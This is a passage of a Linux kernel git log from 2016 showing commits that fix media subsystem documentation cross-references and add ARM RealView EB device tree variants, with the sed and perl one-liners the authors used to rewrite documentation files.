2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8b98db6b2b0e2a845a441b439cc7dcb0b16867bd Author: Mauro Carvalho Chehab Date: Thu Sep 8 07:50:59 2016 -0300 [media] dev-sliced-vbi.rst: fix reference for v4l2_mpeg_vbi_ITV0 The struct v4l2_mpeg_vbi_ITV0 is identical to struct v4l2_mpeg_vbi_itv0, except by its size, and it is documented at the same place at the book. Fix cross reference for it. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/dev-sliced-vbi.rst | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 56683d7dea0ecc3045b3041bc9071eb4fb72c4fb Author: Mauro Carvalho Chehab Date: Thu Sep 8 06:41:26 2016 -0300 [media] docs-rst: fix cross-references for videodev2.h There are several broken references there, due to the conversion to C domain. Fix them using this shell script and manually adjust what's broken: # funcs is a file with the broken functions/references for i in $(cat funcs|sort|uniq|perl -ne 'print "$1\n" if (m/(\S+)$/)'); do i=${i//-/_} echo $i j=${i//_/-} for k in $(git grep -l "_$j:" Documentation/); do sed s,\_$j\:,"c\:type\:\: $i", <$k >a && mv a $k done for k in $(git grep -l "$j" Documentation/media/*.exceptions); do sed s,$j,":c\:type\:\`$i\`", <$k >a && mv a $k done for k in $(git grep -l "$j" Documentation/); do sed "s,:ref:\`$i <$j>\`,:c:type:\`$i\`," <$k >a && mv a $k sed "s,:ref:\`$j\`,:c:type:\`$i\`," <$k >a && mv a $k sed -E "s,:ref:\`(.*)<$j>\`,:c:type:\`\1<$i>\`," <$k >a && mv a $k done for k in $(git grep -l "<$j>" include/media); do sed -E "s,:ref:\`(.*)<$j>\`,enum \&$i," <$k >a && mv a $k done done Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/buffer.rst | 14 +- Documentation/media/uapi/v4l/field-order.rst | 4 +- Documentation/media/uapi/v4l/hist-v4l2.rst | 30 +-- Documentation/media/uapi/v4l/pixfmt-002.rst | 10 +- Documentation/media/uapi/v4l/pixfmt-003.rst | 10 +- Documentation/media/uapi/v4l/pixfmt-006.rst | 16 +- Documentation/media/uapi/v4l/planar-apis.rst | 2 +- Documentation/media/uapi/v4l/subdev-formats.rst | 10 +- Documentation/media/uapi/v4l/tuner.rst | 4 +- Documentation/media/uapi/v4l/v4l2.rst | 4 +- .../media/uapi/v4l/vidioc-create-bufs.rst | 2 +- Documentation/media/uapi/v4l/vidioc-cropcap.rst | 2 +- .../media/uapi/v4l/vidioc-dbg-g-register.rst | 2 +- Documentation/media/uapi/v4l/vidioc-dqevent.rst | 2 +- Documentation/media/uapi/v4l/vidioc-enum-fmt.rst | 2 +- .../media/uapi/v4l/vidioc-enum-frameintervals.rst | 2 +- .../media/uapi/v4l/vidioc-enum-framesizes.rst | 2 +- .../media/uapi/v4l/vidioc-enum-freq-bands.rst | 2 +- Documentation/media/uapi/v4l/vidioc-expbuf.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-crop.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-edid.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-fbuf.rst | 4 +- Documentation/media/uapi/v4l/vidioc-g-fmt.rst | 2 +- .../media/uapi/v4l/vidioc-g-frequency.rst | 2 +- .../media/uapi/v4l/vidioc-g-modulator.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-parm.rst | 2 +- .../media/uapi/v4l/vidioc-g-selection.rst | 2 +- .../media/uapi/v4l/vidioc-g-sliced-vbi-cap.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-tuner.rst | 4 +- Documentation/media/uapi/v4l/vidioc-querycap.rst | 2 +- Documentation/media/uapi/v4l/vidioc-queryctrl.rst | 4 +- Documentation/media/uapi/v4l/vidioc-reqbufs.rst | 4 +- .../media/uapi/v4l/vidioc-s-hw-freq-seek.rst | 2 +- .../uapi/v4l/vidioc-subdev-enum-frame-interval.rst | 7 +- .../uapi/v4l/vidioc-subdev-enum-frame-size.rst | 6 +- .../uapi/v4l/vidioc-subdev-enum-mbus-code.rst | 6 +- .../media/uapi/v4l/vidioc-subdev-g-crop.rst | 8 +- .../media/uapi/v4l/vidioc-subdev-g-fmt.rst | 2 +- .../uapi/v4l/vidioc-subdev-g-frame-interval.rst | 8 +- .../media/uapi/v4l/vidioc-subdev-g-selection.rst | 4 +- Documentation/media/videodev2.h.rst.exceptions | 204 ++++++++++----------- 41 files changed, 201 insertions(+), 202 deletions(-) commit be831b34c2182731df77710e2fb8130060b1012f Author: Mauro Carvalho Chehab Date: Thu Sep 8 06:30:27 2016 -0300 [media] hist-v4l2.rst: don't do refs to old structures Several structs were renamed or removed during V4L2 development. Don't try to cross-reference the legacy ones. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/hist-v4l2.rst | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) commit e452134cee5593612e515265247d271c36d6ca33 Author: Mauro Carvalho Chehab Date: Thu Sep 8 06:21:01 2016 -0300 [media] libv4l-introduction.rst: improve crossr-references Use C cross-references to mention the V4L2 API calls on all places it occurs inside this file. While here, also mark constants as such. Signed-off-by: Mauro Carvalho Chehab .../media/uapi/v4l/libv4l-introduction.rst | 33 +++++++++++++--------- 1 file changed, 20 insertions(+), 13 deletions(-) commit 9281f251bebe5618070e03041a7cdb81162b337d Author: Mauro Carvalho Chehab Date: Thu Sep 8 06:07:47 2016 -0300 [media] libv4l-introdution.rst: fix function definitions c:type is not the right tag for function definitions. Replace them by .. c:function:: Signed-off-by: Mauro Carvalho Chehab .../media/uapi/v4l/libv4l-introduction.rst | 62 ++++++++++++---------- 1 file changed, 35 insertions(+), 27 deletions(-) commit 39b6b9005f6cd2ef2f6c554bb2da176ca87aab0d Author: Mauro Carvalho Chehab Date: Thu Sep 8 05:51:10 2016 -0300 [media] fix clock_gettime cross-references Fix those warnings: Documentation/media/uapi/cec/cec-ioc-dqevent.rst:124: WARNING: c:func reference target not found: clock_gettime(2) By replacing it with the right function name, using this shell script: for i in `find Documentation/media -type f`; do sed 's,clock_gettime(2),clock_gettime,' <$i >a && mv a $i; done Please notice that this will make the nitpick mode to shut up complaining about that, becasue clock_gettime is on its exclude list, but the cross reference will be undefined until someone documents this function at the core documentation. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/cec/cec-ioc-dqevent.rst | 2 +- Documentation/media/uapi/cec/cec-ioc-receive.rst | 4 ++-- Documentation/media/uapi/v4l/buffer.rst | 4 ++-- Documentation/media/uapi/v4l/vidioc-dqevent.rst | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) commit a17a954efde487f4072a33f05c5388bc42c51efc Author: Mauro Carvalho Chehab Date: Thu Sep 8 05:48:50 2016 -0300 [media] docs-rst: fix some broken struct references The :c:type: references point to the structure name, and not to struct foo. Fixed via this shell script: for i in `find Documentation/media -type f`; do perl -ne 'if (s/\:c\:type\:\`struct\s*(\S+)\`/struct :c:type:`$1`/) { s/struct\s+struct/struct/; s/(struct\s+\:c\:type\:\`\S+\`)\s+structure/$1/; } print $_' <$i >a && mv a $i; done Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/cec/cec-func-poll.rst | 2 +- Documentation/media/uapi/v4l/buffer.rst | 2 +- Documentation/media/uapi/v4l/dev-osd.rst | 4 +-- Documentation/media/uapi/v4l/hist-v4l2.rst | 34 +++++++++++++------------- 4 files changed, 21 insertions(+), 21 deletions(-) commit fc78c7c7a1747912293ad9f78374f5be7f0acc6d Author: Mauro Carvalho Chehab Date: Thu Sep 8 05:43:01 2016 -0300 [media] docs-rst: simplify c:type: cross references Instead of using c:type:`struct foo `, use: struct c:type:`foo` This patch was generated via this shell script: for i in `find Documentation/media -type f`; do perl -ne 'if (m/\:c\:type\:\`struct\s+(\S+)\s*\<(\S+)\>\`/) { $s=$1; $r=$2; if ($s eq $r) { s/\:c\:type\:\`struct\s+(\S+)\s*\<(\S+)\>\`/struct :c:type:`$2`/; s/struct\s+struct/struct/; s/(struct\s+\:c\:type\:\`\S+\`)\s+structure/$1/; }} print $_' <$i >a && mv a $i; done Signed-off-by: Mauro Carvalho Chehab Documentation/media/kapi/mc-core.rst | 24 +++++++++++----------- Documentation/media/uapi/dvb/dvbproperty.rst | 2 +- Documentation/media/uapi/v4l/buffer.rst | 12 +++++------ Documentation/media/uapi/v4l/dev-osd.rst | 2 +- Documentation/media/uapi/v4l/dev-overlay.rst | 2 +- Documentation/media/uapi/v4l/dev-sliced-vbi.rst | 6 +++--- Documentation/media/uapi/v4l/extended-controls.rst | 2 +- Documentation/media/uapi/v4l/pixfmt-002.rst | 4 ++-- Documentation/media/uapi/v4l/pixfmt-003.rst | 6 +++--- Documentation/media/uapi/v4l/pixfmt.rst | 4 ++-- .../media/uapi/v4l/vidioc-create-bufs.rst | 2 +- Documentation/media/uapi/v4l/vidioc-enumstd.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-audio.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-audioout.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-crop.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-ctrl.rst | 4 ++-- Documentation/media/uapi/v4l/vidioc-g-fbuf.rst | 4 ++-- Documentation/media/uapi/v4l/vidioc-g-fmt.rst | 4 ++-- Documentation/media/uapi/v4l/vidioc-g-parm.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-std.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-tuner.rst | 2 +- .../media/uapi/v4l/vidioc-prepare-buf.rst | 2 +- Documentation/media/uapi/v4l/vidioc-qbuf.rst | 4 ++-- Documentation/media/uapi/v4l/vidioc-querybuf.rst | 2 +- Documentation/media/uapi/v4l/vidioc-reqbufs.rst | 2 +- 25 files changed, 51 insertions(+), 51 deletions(-) commit 2606eee43cbceb1356ddb11a5f3cc9a89a0cec66 Author: Mauro Carvalho Chehab Date: Wed Aug 31 19:15:05 2016 -0300 [media] docs-rst: fix cec bad cross-references Fix some CEC cross references that are broken. Signed-off-by: Mauro Carvalho Chehab Documentation/media/cec.h.rst.exceptions | 6 ------ Documentation/media/uapi/cec/cec-ioc-adap-g-log-addrs.rst | 10 +++++----- Documentation/media/uapi/cec/cec-ioc-receive.rst | 9 +++++---- 3 files changed, 10 insertions(+), 15 deletions(-) commit 180965cb0826bfc90d420c627f1ff84e215fa9f1 Author: Mauro Carvalho Chehab Date: Wed Aug 31 18:57:07 2016 -0300 [media] docs-rst: fix dmx bad cross-references Some structs are pointed via the typedef. As we replaced those references, fix them. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/dvb/dmx-get-caps.rst | 5 ++--- Documentation/media/uapi/dvb/dmx-set-source.rst | 2 +- 2 files changed, 3 insertions(+), 4 deletions(-) commit 848d10314bfe1be79f5ca4deb3d2bf81f6adcf38 Author: Mauro Carvalho Chehab Date: Wed Aug 31 16:34:07 2016 -0300 [media] fix broken references on dvb/video*rst Trivially fix those broken references, by copying the structs fron the header, just like other API documentation at the DVB side. This doesn't have the level of quality used at the V4L2 side of the API, but, as this documents a deprecated API, used only by av7110 driver, it doesn't make much sense to invest time making it better. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/dvb/video-command.rst | 30 ++++++++++++++++++++++ Documentation/media/uapi/dvb/video-get-event.rst | 17 ++++++++++++ Documentation/media/uapi/dvb/video-get-navi.rst | 10 +++++++- Documentation/media/uapi/dvb/video-get-size.rst | 10 ++++++++ Documentation/media/uapi/dvb/video-get-status.rst | 11 ++++++++ .../media/uapi/dvb/video-select-source.rst | 10 ++++++++ .../media/uapi/dvb/video-set-attributes.rst | 16 ++++++++++++ .../media/uapi/dvb/video-set-display-format.rst | 2 +- Documentation/media/uapi/dvb/video-set-format.rst | 9 +++++++ .../media/uapi/dvb/video-set-highlight.rst | 26 ++++++++++++++++++- .../media/uapi/dvb/video-set-spu-palette.rst | 10 +++++++- Documentation/media/uapi/dvb/video-set-spu.rst | 11 +++++++- include/uapi/linux/dvb/video.h | 3 ++- 13 files changed, 159 insertions(+), 6 deletions(-) commit 189d7243d24ae8673c84be022808522d9df5cc40 Author: Mauro Carvalho Chehab Date: Wed Aug 31 15:59:14 2016 -0300 [media] docs-rst: fix the remaining broken links for DVB CA API Several links are broken, as they were using the typedef name, instead of using the corresponding structs. Fix them. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/dvb/ca-get-cap.rst | 4 ++-- Documentation/media/uapi/dvb/ca-get-descr-info.rst | 2 +- Documentation/media/uapi/dvb/ca-get-msg.rst | 2 +- Documentation/media/uapi/dvb/ca-get-slot-info.rst | 2 +- Documentation/media/uapi/dvb/ca-send-msg.rst | 4 ++-- Documentation/media/uapi/dvb/ca-set-descr.rst | 6 +++--- Documentation/media/uapi/dvb/ca-set-pid.rst | 2 +- 7 files changed, 11 insertions(+), 11 deletions(-) commit cdb1c89681779d84605c0ac2a12cd7461ebadf17 Author: Mauro Carvalho Chehab Date: Wed Aug 31 15:59:11 2016 -0300 [media] ca-set-pid.rst: document struct ca_pid Add a table describing the fields on this struct, based on ca.h header. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/dvb/ca-set-pid.rst | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) commit b4e54510b51ae666ed7cef291bba0f86ad3d8e20 Author: Linus Walleij Date: Thu Sep 8 22:50:39 2016 +0200 ARM: dts: add RealView EB rev D A9 MPCore variant The Cortex A9 MPCore tile can be mounted on top of the revision D variant of the RealView EB, so create another variant of the DTS file for this. arm-realview-eb-a9mp = mounted on pre-revision D baseboard arm-realview-eb-a9mp-bbrevd = mounted on the revision D baseboard Signed-off-by: Linus Walleij arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/arm-realview-eb-a9mp-bbrevd.dts | 28 +++++++++++++++++++++++ 2 files changed, 29 insertions(+) commit 5809938c5c9200b68fdcaba4f89880829d510c00 Author: Linus Walleij Date: Thu Sep 8 17:00:45 2016 +0200 ARM: dts: split RealView EB 11MPCore variants There used to be two versions of the RealView EB 11MPCore: - arm-realview-eb-11mp.dts: the most common variant supported by QEMU with the revision C core tile - arm-realview-eb-revb.dts: for the variant with the elder revision B core tile. As it turns out that there are also a few variants of the baseboard, unrelated to the coretile, and that these can of course be mounted on top of each other in all permutations, we create: - arm-realview-eb-11mp.dts: the most common variant supported by QEMU with the pre-revision D baseboard and the revision C core tile. - arm-realview-eb-11mp-bbrevd.dts: the revision D baseboard with the common revision C core tile. - arm-realview-eb-11mp-ctrevb.dts: the pre-revision D baseboard with the revision B core tile. - arm-realview-eb-11mp-bbrevd-ctrevb.dts: the revision D baseboard with the revision B core time. Or as a table: | Core tile: C | Core tile: B -----------+----------------------------+----------------------------------- Baseboard: | | pre-D |arm-realvie-eb-11mp | arm-realview-eb-11mp-ctrevb -----------+----------------------------+----------------------------------- Baseboard: | | D |arm-realview-eb-11mp-bbrevd | arm-realview-eb-11mp-bbrevd-ctrevb -----------+----------------------------+----------------------------------- Signed-off-by: Linus Walleij arch/arm/boot/dts/Makefile | 4 +- .../dts/arm-realview-eb-11mp-bbrevd-ctrevb.dts | 32 ++++++++ arch/arm/boot/dts/arm-realview-eb-11mp-bbrevd.dts | 28 +++++++ arch/arm/boot/dts/arm-realview-eb-11mp-ctrevb.dts | 93 ++++++++++++++++++++++ arch/arm/boot/dts/arm-realview-eb-11mp-revb.dts | 93 ---------------------- arch/arm/boot/dts/arm-realview-eb-11mp.dts | 2 +- 6 files changed, 157 insertions(+), 95 deletions(-) commit 6a29fa31cdcf9e2ddf74406bd084067b4917edcd Author: Linus Walleij Date: Thu Sep 8 11:17:14 2016 +0200 ARM: dts: add device tree for the RealView EB Rev D The RealView EB baseboard revision D is a special case as it appears to be undocumented in ARM official documents, while the Linux kernel still contains special code for handling it. commit be4f3c8691492934c8ee03dbecb3a3a865ac6cd6 "Add RealView/EB support for the LAN9118 Ethernet chip" adds support for the SMSC LAN9118 chip used on the D revision of the baseboard, but no other traces of hardware deviations for this variant can be found. This creates a separate top-level .dts file especially for this board version, so that it gets registered with the right type of ethernet controller. The ethernet controller modifications are then put into a separate .dtsi file so it can be overlaid on other EB variants using the revision D baseboard. Signed-off-by: Linus Walleij arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/arm-realview-eb-bbrevd.dts | 29 +++++++++++++++++ arch/arm/boot/dts/arm-realview-eb-bbrevd.dtsi | 45 +++++++++++++++++++++++++++ 3 files changed, 75 insertions(+) commit c4ad72560df11961d3e57fb0fadfe88a9863c9ad Author: Linus Walleij Date: Thu Sep 8 10:48:38 2016 +0200 ARM: dts: fix RealView EB SMSC ethernet version The ethernet version in the earlier RealView EB variants is LAN91C111 and not LAN9118 according to ARM DUI 0303E "RealView Emulation Baseboard User Guide" page 3-57. Make sure that this is used for the base variant of the board. As the DT bindings for LAN91C111 does not specify any power supplies, these need to be deleted from the DTS file. Fixes: 2440d29d2ae2 ("ARM: dts: realview: support all the RealView EB board variants") Signed-off-by: Linus Walleij arch/arm/boot/dts/arm-realview-eb.dtsi | 23 +++++++---------------- 1 file changed, 7 insertions(+), 16 deletions(-) commit 63eb58b83b70e2b034879adea85a5df2c5e08ab4 Author: Mauro Carvalho Chehab Date: Wed Aug 31 14:15:56 2016 -0300 [media] ca-get-slot-info.rst: document struct ca_slot_info Add documentation for struct ca_slot_info and for the two sets of define used by it, according with what's there at the ca.h header. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/dvb/ca-get-slot-info.rst | 84 ++++++++++++++++++++++- 1 file changed, 83 insertions(+), 1 deletion(-) commit e0927092b6fd7e6ca5f5cf9e7d9e00a1a9563ca7 Author: Mauro Carvalho Chehab Date: Wed Aug 31 14:14:26 2016 -0300 [media] ca-get-msg.rst: add a boilerplate for struct ca_msg There are no descriptions at ca.h header for this struct. Yet, as we want to get rid of the warnings, let's add a boilerplate, with just the struct types and fields. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/dvb/ca-get-msg.rst | 33 ++++++++++++++++++++++++++++- 1 file changed, 32 insertions(+), 1 deletion(-) commit 302397d003606ef3584f80ce42ab3b0d23842684 Author: Mauro Carvalho Chehab Date: Wed Aug 31 14:07:38 2016 -0300 [media] ca-get-descr-info.rst: add doc for for struct ca_descr_info The documentation follows what's there at the ca.h header. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/dvb/ca-get-descr-info.rst | 23 +++++++++++++++++++++- 1 file changed, 22 insertions(+), 1 deletion(-) commit f9c045516401edf31730d2dc30b39a701dc611b6 Author: Mauro Carvalho Chehab Date: Wed Aug 31 13:07:43 2016 -0300 [media] ca-get-cap.rst: add a table for struct ca_caps Add a flat-table describing struct ca_caps, as found at the source file. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/dvb/ca-get-cap.rst | 29 ++++++++++++++++++++++++++++- 1 file changed, 28 insertions(+), 1 deletion(-) commit 836cf1db4e741f12e2d95573b5479fcbdd6fa34e Author: Mauro Carvalho Chehab Date: Tue Aug 30 10:21:03 2016 -0300 [media] docs-rst exceptions: use C domain references for DVB headers Now that we moved away from the :ref: type of references, we need to update the exceptions lists. Signed-off-by: Mauro Carvalho Chehab Documentation/media/audio.h.rst.exceptions | 6 +- Documentation/media/ca.h.rst.exceptions | 32 ++++---- Documentation/media/dmx.h.rst.exceptions | 85 +++++++++++----------- Documentation/media/frontend.h.rst.exceptions | 8 +- Documentation/media/intro.rst | 2 +- Documentation/media/net.h.rst.exceptions | 4 +- .../uapi/dvb/audio-bilingual-channel-select.rst | 2 +- .../media/uapi/dvb/audio-channel-select.rst | 2 +- .../media/uapi/dvb/audio-select-source.rst | 2 +- .../media/uapi/dvb/audio-set-attributes.rst | 2 +- Documentation/media/uapi/dvb/audio-set-karaoke.rst | 2 +- Documentation/media/uapi/dvb/audio-set-mixer.rst | 2 +- Documentation/media/uapi/dvb/audio_data_types.rst | 31 +------- Documentation/media/uapi/dvb/dmx_types.rst | 39 ++++------ Documentation/media/uapi/dvb/fe-bandwidth-t.rst | 5 +- .../media/uapi/dvb/fe-diseqc-recv-slave-reply.rst | 3 - .../media/uapi/dvb/fe-diseqc-send-burst.rst | 9 +-- .../media/uapi/dvb/fe-diseqc-send-master-cmd.rst | 4 +- Documentation/media/uapi/dvb/fe-get-info.rst | 11 +-- Documentation/media/uapi/dvb/fe-read-status.rst | 8 +- Documentation/media/uapi/dvb/fe-set-tone.rst | 9 +-- Documentation/media/uapi/dvb/fe-set-voltage.rst | 4 +- Documentation/media/uapi/dvb/fe-type-t.rst | 4 +- .../media/uapi/dvb/fe_property_parameters.rst | 69 ++++++------------ Documentation/media/uapi/dvb/net-add-if.rst | 6 -- Documentation/media/video.h.rst.exceptions | 20 ++--- 26 files changed, 144 insertions(+), 227 deletions(-) commit 59d44bbe46fe876c55d5cc051d552b1debb1c454 Author: Mauro Carvalho Chehab Date: Tue Aug 30 21:08:17 2016 -0300 [media] v4l2-subdev.h: fix a doc nitpick warning One markup tag is wrong here. Signed-off-by: Mauro Carvalho Chehab include/media/v4l2-subdev.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a8e58f29c90e8d7e2f675b0f8668b77143b1349c Author: Mauro Carvalho Chehab Date: Tue Aug 30 21:01:57 2016 -0300 [media] v4l2-subdev.rst: get rid of legacy functions There are two warnings that are due to functions that has long gone: Documentation/media/kapi/v4l2-subdev.rst:417: WARNING: c:func reference target not found: v4l2_i2c_new_subdev_cfg Documentation/media/kapi/v4l2-subdev.rst:436: WARNING: c:func reference target not found: v4l2_i2c_new_probed_subdev Update the documentation to remove those. Signed-off-by: Mauro Carvalho Chehab Documentation/media/kapi/v4l2-subdev.rst | 21 +++++---------------- 1 file changed, 5 insertions(+), 16 deletions(-) commit f06606e56bc61d65cbc1ad3a8dc6e81ec1b2034e Author: Mauro Carvalho Chehab Date: Tue Aug 30 20:11:11 2016 -0300 [media] v4l2-dv-timings.h: let kernel-doc parte the typedef argument Now that scripts/kernel-doc was fixed to parse the typedef argument used here, let it produce documentation. Signed-off-by: Mauro Carvalho Chehab include/media/v4l2-dv-timings.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 65d7aba0d3c32fc686fe19e146b8cd8a0a87952d Author: Mauro Carvalho Chehab Date: Tue Aug 30 19:16:25 2016 -0300 [media] v4l2-device.h: fix some doc tags Fix some minor issues at the documentation tags on this file, adding cross-references where needed, and fixing some broken ones. While here, fix a few spaces before tabs to make Checkpatch happier. Signed-off-by: Mauro Carvalho Chehab include/media/v4l2-device.h | 68 ++++++++++++++++++++++----------------------- 1 file changed, 34 insertions(+), 34 deletions(-) commit daf3a4f751d3d08ebee539aab991e8d94cd1a01e Author: Mauro Carvalho Chehab Date: Tue Aug 30 18:55:17 2016 -0300 [media] v4l2-dev.rst: fix a broken c domain reference The "struct" were inside the reference, causing it to break. Acked-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab Documentation/media/kapi/v4l2-dev.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bba65c132fe4e57682861ff826e259efd7845492 Author: Mauro Carvalho Chehab Date: Tue Aug 30 12:18:09 2016 -0300 [media] v4l2-ioctl.h: document the remaining functions There are several undocumented functions here; document them. While here, make checkpatch.pl happy. Signed-off-by: Mauro Carvalho Chehab Documentation/media/conf_nitpick.py | 1 + include/media/v4l2-ioctl.h | 510 +++++++++++++++++++++--------------- 2 files changed, 305 insertions(+), 206 deletions(-) commit 94d71e58074210a192d785df2744ce4abcbe519c Author: Mauro Carvalho Chehab Date: Mon Aug 29 19:45:57 2016 -0300 [media] cec-ioc-dqevent.rst: fix some undefined references Documentation/output/cec.h.rst:6: WARNING: c:type reference target not found: cec_event_state_change Documentation/output/cec.h.rst:6: WARNING: c:type reference target not found: cec_event_state_change Documentation/output/cec.h.rst:6: WARNING: c:type reference target not found: cec_event_lost_msgs Documentation/output/cec.h.rst:6: WARNING: c:type reference target not found: cec_event_lost_msgs Documentation/output/cec.h.rst:6: WARNING: c:type reference target not found: cec_event_state_change Documentation/output/cec.h.rst:6: WARNING: c:type reference target not found: cec_event_lost_msgs Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/cec/cec-ioc-dqevent.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f8441a4334107ccd69c07164a38d9dde451cd85d Author: Mauro Carvalho Chehab Date: Mon Aug 29 19:29:58 2016 -0300 [media] v4l2-ctrls.h: Fix some c:type references Now that the uAPI is using c:type, let's use it here too. Signed-off-by: Mauro Carvalho Chehab include/media/v4l2-ctrls.h | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit ffa0441edca1ae462bdafe2743a4cde16f407f3a Author: Mauro Carvalho Chehab Date: Mon Aug 29 18:40:21 2016 -0300 [media] docs-rst: use C domain for enum references on uapi Change the parse-headers.pl and the corresponding files to use the C domain for enum references. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/hist-v4l2.rst | 2 +- Documentation/media/uapi/v4l/subdev-formats.rst | 2 +- Documentation/media/uapi/v4l/v4l2.rst | 2 +- Documentation/media/uapi/v4l/vidioc-dqevent.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-priority.rst | 2 +- Documentation/media/uapi/v4l/vidioc-queryctrl.rst | 14 +++++++------- Documentation/media/uapi/v4l/vidioc-subdev-g-fmt.rst | 10 +++++----- include/media/v4l2-dev.h | 12 ++++++------ 8 files changed, 23 insertions(+), 23 deletions(-) commit fb91161a32bfe907720aff92318660ca8f6b9e71 Author: Mauro Carvalho Chehab Date: Mon Aug 29 18:43:02 2016 -0300 [media] v4l2-ctrls.h: fix doc reference for prepare_ext_ctrls() The prepare_ext_ctrls() function is actually internal to the v4l2-ctrls.c implementation, so it doesn't have a declaration for the kAPI header to reference it. Signed-off-by: Mauro Carvalho Chehab include/media/v4l2-ctrls.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6e862f3cbbe96f8d147a37511c08e5def4f654f9 Author: Mauro Carvalho Chehab Date: Mon Aug 29 18:22:52 2016 -0300 [media] diff-v4l.rst: Fix V4L version 1 references The V4L version 1 structures had long gone from the Linux Kernel. It doesn't make sense to use cross-references for them, as they won't be found. So, get rid of them. Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/diff-v4l.rst | 38 +++++++++++++++---------------- 1 file changed, 19 insertions(+), 19 deletions(-) commit e8be7e97e639af6f968473e5a598afbebc737b9c Author: Mauro Carvalho Chehab Date: Mon Aug 29 17:37:59 2016 -0300 [media] docs-rst: convert uAPI structs to C domain instead of declaring the uAPI structs using usual refs, e. g.: .. _foo-struct: Use the C domain way: .. c:type:: foo_struct This way, the kAPI documentation can use cross-references to point to the uAPI symbols. That solves about ~100 undefined warnings like: WARNING: c:type reference target not found: foo_struct Signed-off-by: Mauro Carvalho Chehab Documentation/media/kapi/v4l2-event.rst | 6 +- .../media/uapi/cec/cec-ioc-adap-g-caps.rst | 4 +- .../media/uapi/cec/cec-ioc-adap-g-log-addrs.rst | 2 +- Documentation/media/uapi/cec/cec-ioc-dqevent.rst | 2 +- Documentation/media/uapi/cec/cec-ioc-receive.rst | 2 +- Documentation/media/uapi/dvb/audio_data_types.rst | 6 +- Documentation/media/uapi/dvb/ca_data_types.rst | 12 +-- Documentation/media/uapi/dvb/dmx_types.rst | 10 +- Documentation/media/uapi/dvb/dtv-fe-stats.rst | 2 +- Documentation/media/uapi/dvb/dtv-properties.rst | 2 +- Documentation/media/uapi/dvb/dtv-property.rst | 2 +- Documentation/media/uapi/dvb/dtv-stats.rst | 2 +- .../media/uapi/dvb/dvb-frontend-event.rst | 2 +- .../media/uapi/dvb/dvb-frontend-parameters.rst | 10 +- Documentation/media/uapi/dvb/dvbproperty.rst | 2 +- .../media/uapi/dvb/fe-diseqc-recv-slave-reply.rst | 4 +- .../media/uapi/dvb/fe-diseqc-send-master-cmd.rst | 4 +- Documentation/media/uapi/dvb/fe-get-info.rst | 4 +- Documentation/media/uapi/dvb/fe-get-property.rst | 2 +- Documentation/media/uapi/dvb/fe-type-t.rst | 4 +- .../media/uapi/dvb/frontend-stat-properties.rst | 2 +- Documentation/media/uapi/dvb/net-add-if.rst | 6 +- Documentation/media/uapi/dvb/net-get-if.rst | 6 +- Documentation/media/uapi/dvb/video_types.rst | 16 +-- .../media/uapi/mediactl/media-ioc-device-info.rst | 4 +- .../uapi/mediactl/media-ioc-enum-entities.rst | 6 +- .../media/uapi/mediactl/media-ioc-enum-links.rst | 22 ++--- .../media/uapi/mediactl/media-ioc-g-topology.rst | 14 +-- .../media/uapi/mediactl/media-ioc-setup-link.rst | 4 +- Documentation/media/uapi/v4l/audio.rst | 12 +-- Documentation/media/uapi/v4l/buffer.rst | 40 ++++---- Documentation/media/uapi/v4l/crop.rst | 14 +-- Documentation/media/uapi/v4l/dev-capture.rst | 16 +-- Documentation/media/uapi/v4l/dev-osd.rst | 18 ++-- Documentation/media/uapi/v4l/dev-output.rst | 16 +-- Documentation/media/uapi/v4l/dev-overlay.rst | 22 ++--- Documentation/media/uapi/v4l/dev-radio.rst | 2 +- Documentation/media/uapi/v4l/dev-raw-vbi.rst | 14 +-- Documentation/media/uapi/v4l/dev-rds.rst | 14 +-- Documentation/media/uapi/v4l/dev-sdr.rst | 12 +-- Documentation/media/uapi/v4l/dev-sliced-vbi.rst | 36 +++---- Documentation/media/uapi/v4l/dev-subdev.rst | 4 +- Documentation/media/uapi/v4l/dev-touch.rst | 2 +- Documentation/media/uapi/v4l/diff-v4l.rst | 66 ++++++------- Documentation/media/uapi/v4l/dmabuf.rst | 8 +- Documentation/media/uapi/v4l/extended-controls.rst | 10 +- 